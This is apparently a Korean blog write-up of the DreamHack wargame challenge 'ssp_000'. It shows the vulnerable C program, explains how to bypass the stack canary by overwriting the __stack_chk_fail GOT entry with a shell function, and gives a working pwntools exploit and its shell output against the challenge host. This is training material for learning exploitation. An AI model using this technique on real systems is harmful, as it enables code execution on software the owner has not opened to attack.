Ubuntu 16.04
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
long addr;
long value;
char buf[0x40] = {};
initialize();
read(0, buf, 0x80);
printf("Addr : ");
scanf("%ld", &addr);
printf("Value : ");
scanf("%ld", &value);
*(long *)addr = value;
return 0;
}
SSP → Stack Smash Protector
즉 카나리가 설정되어 있다고 할 수 있다.
그렇다면 BOF 할 때 다른 방법을 찾아보는게 맞다.
여기서 조금 집중해서 봐야 할 내용이 있다
*(long *)addr = value;
이 부분이다. 특정 주소의 값을 바꿔줄 수 있는 것이다.
그렇다면 스택 카나리를 변조시켜서 아래의 __stack_chk_fail 함수를 불러오는 것이다.
0x00000000004009b7 <+188>: je 0x4009be <main+195>
0x00000000004009b9 <+190>: call 0x4006d0 <__stack_chk_fail@plt>
대신 stack_chk_fail 함수의 GOT 를 get_shell 함수의 주소로 주어서 get_shell 이 실행되도록 하면 되겠다. 한번 해보도록 하자.
$1 = {<text variable, no debug info>} 0x4008ea
0x4006d0 __stack_chk_fail@plt: jmp QWORD PTR [rip+0x20094a] # 0x601020
⇒ stack_chk_fail의 GOT = 0x601020
그러니까
Addr : stack_chk_fail의 GOT
value : get_shell의 주소
를 입력으로 주면 된다.
from pwn import *
#p =process("./ssp_000")
p = remote("host1.dreamhack.games",11409)
get_shell = 0x4008ea
SCF_GOT = 0x601020
pay = "A"*0x50
p.sendline(pay)
p.recvuntil("Addr : ")
p.sendline(str(SCF_GOT))
p.recvuntil("Value : ")
p.sendline(str(get_shell))
p.interactive()
[+] Opening connection to host1.dreamhack.games on port 11409: Done
[*] Switching to interactive mode
$ ls
flag
ssp_000
$ cat flag
DH{-----flag-----}
GOT overwrite 문제였다.
'WriteUp > DreamHack' 카테고리의 다른 글
DreamHack : Basic ROP x64 (0) | 2020.11.19 |
---|---|
DreamHack : ssp_001 (0) | 2020.11.19 |
DreamHack : Sint (0) | 2020.11.19 |
DreamHack : Out_of_bound (0) | 2020.11.19 |
DreamHack : off_by_one_001 (0) | 2020.11.19 |